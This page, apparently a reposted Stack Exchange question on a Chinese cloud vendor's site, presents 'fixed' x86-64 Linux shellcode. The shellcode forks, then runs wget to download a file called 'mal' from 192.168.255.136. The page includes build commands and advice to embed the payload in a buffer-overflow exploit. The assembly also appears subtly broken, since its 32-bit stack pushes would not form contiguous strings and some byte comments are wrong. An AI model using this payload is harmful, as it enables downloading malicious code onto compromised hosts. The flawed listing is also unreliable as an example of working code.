You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

基于Linux/x64汇编的wget+chmod+exec Shellcode问题求助

问题分析与修复方案

你的shellcode未产生请求的核心问题有两个:URL缺少协议头导致wget将其视为本地文件,以及父进程未正确退出可能引发的资源问题,以下是具体修复步骤:

关键错误点

  1. URL格式错误:你构造的192.168.255.136/mal没有协议头(如http://),wget默认会将其当作本地文件名而非网络URL,自然不会发起请求。
  2. 父进程未处理:fork后父进程直接执行后续代码退出,可能导致子进程输出被截断或出现僵尸进程。

修复后的汇编代码

_start:
    ; 调用fork创建子进程,x86_64系统调用号0x39
    xor rax, rax
    mov rax, 0x39
    syscall

    ; 父进程返回值为子进程PID,跳转到退出逻辑
    test rax, rax
    jnz parent_exit

child:
    xor rax, rax
    push rax                    ; 压入NULL作为字符串终止符

    ; 构造完整URL: http://192.168.255.136/mal\x00
    push 0x006c616d             ; "\x00mal"
    push 0x2f363331             ; "/136"
    push 0x2e353532             ; ".255"
    push 0x2e383631             ; ".168"
    push 0x2e323931             ; ".192"
    push 0x2f2f3a70             ; ":///"
    push 0x74747068             ; "http"
    mov rsi, rsp                ; rsi指向URL字符串

    ; 构造wget路径: /usr/bin/wget\x00
    push rax                    ; 压入NULL终止符
    push 0x74656777             ; "wget"
    push 0x6e69622f             ; "/bin"
    push 0x7273752f             ; "/usr"
    mov rdi, rsp                ; rdi指向wget路径

    ; 构造execve的argv数组: ["/usr/bin/wget", "http://xxx/mal", NULL]
    push rax                    ; 数组终止NULL
    push rsi                    ; URL参数
    push rdi                    ; 程序路径
    mov rsi, rsp                ; rsi指向argv数组

    ; 调用execve,x86_64系统调用号0x3b
    mov eax, 0x3b
    xor rdx, rdx                ; envp设为NULL
    syscall

parent_exit:
    ; 父进程正常退出,避免僵尸进程,系统调用号0x3c
    mov eax, 0x3c
    xor rdi, rdi                ; 退出码0
    syscall

额外注意事项

  • 确保目标主机192.168.255.136的web服务正常运行,/mal路径可被访问。
  • 编译shellcode时使用以下命令:
    nasm -f elf64 shellcode.asm -o shellcode.o
    objcopy -O binary shellcode.o shellcode.bin
    
  • 可先通过C程序单独测试shellcode功能,确认wget能成功下载文件后,再植入缓冲区溢出场景。

内容的提问来源于stack exchange,提问作者0xbe61a55f

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.20 20:25:18